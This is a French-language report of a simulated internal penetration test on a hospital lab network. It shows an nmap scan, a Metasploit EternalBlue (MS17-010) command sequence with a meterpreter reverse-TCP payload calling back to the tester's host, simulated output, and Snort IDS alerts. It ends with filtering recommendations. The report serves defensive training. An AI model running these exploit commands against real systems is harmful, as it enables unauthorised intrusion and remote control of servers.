# Simulation de Test d'Intrusion – Projet CHU Ynov

## Contexte de l’audit

Dans le cadre du projet de sécurisation du CHU de Ynov, un test d'intrusion interne a été simulé pour vérifier la robustesse de l’architecture réseau et la capacité du système IDS/IPS à détecter les activités malveillantes.

* Zone de lancement : VLAN 99 (Management)
* Machine utilisée : PC “Pentester” – IP : 192.168.99.110
* Cible : Serveur Web médical – IP : 192.168.10.2

Objectif : scanner les ports ouverts, détecter d’éventuelles failles, tester la réaction de l’IDS Snort.

## Phase de reconnaissance – Scan Nmap simulé

### Commande utilisée :

* nmap -sS -p 21,22,23,80,443 192.168.10.2

### Résultat simulé :

PORT STATE SERVICE

|  |
| --- |
| 21/tcp open ftp |
| 22/tcp open ssh |
| 23/tcp closed telnet |
| 80/tcp open http |
| 443/tcp closed https |

Le scan a révélé la présence de services FTP, SSH et HTTP actifs sur le serveur médical. Cela pourrait indiquer des services mal configurés ou non nécessaires dans un environnement médical.

## Phase d’exploitation – Simulation Metasploit

Objectif : Tester la vulnérabilité MS17-010 (EternalBlue) sur la cible 192.168.10.2.

### Commandes simulées :

* msfconsole
* use exploit/windows/smb/ms17\_010\_eternalblue
* set RHOST 192.168.10.2
* set PAYLOAD windows/meterpreter/reverse\_tcp
* set LHOST 192.168.99.110
* exploit

### Résultat simulé :

* [\*] Started reverse TCP handler on 192.168.99.110:4444
* [\*] Sending crafted SMB packet...
* [\*] Exploit successful, meterpreter session opened

Cela simule une compromission complète du serveur Web via une faille SMB connue.

## Réaction de l'IDS (Snort) – VLAN 99

### Logs générés (snort\_logs.txt) :

* [\*\*] [1:1000002:0] Port Scan Detected [\*\*]
* 03/05-10:44:19.320984 > TCP Port Scan 192.168.99.110 -> 192.168.10.2: 21,22,23,80,443
* [\*\*] [1:1000003:0] SMB Exploit Attempt Detected [\*\*]
* 03/05-10:45:02.003421 > SMB MS17-010 RCE Exploit Attempt from

192.168.99.110 to 192.168.10.2

L’IDS Snort a correctement identifié les tentatives de scan et l’exploitation, avec classification critique.

## Conclusion & recommandations

La simulation a démontré la capacité du système IDS à détecter des menaces type pentest.

Toutefois, la présence de ports ouverts (FTP, SSH) est un risque :

Recommandation : filtrer via des ACLs ou un pare-feu applicatif (pfSense réel)

Ce test valide l’intérêt de placer un IDS dans une zone management isolée (VLAN 99) avec visibilité sur les flux inter-VLAN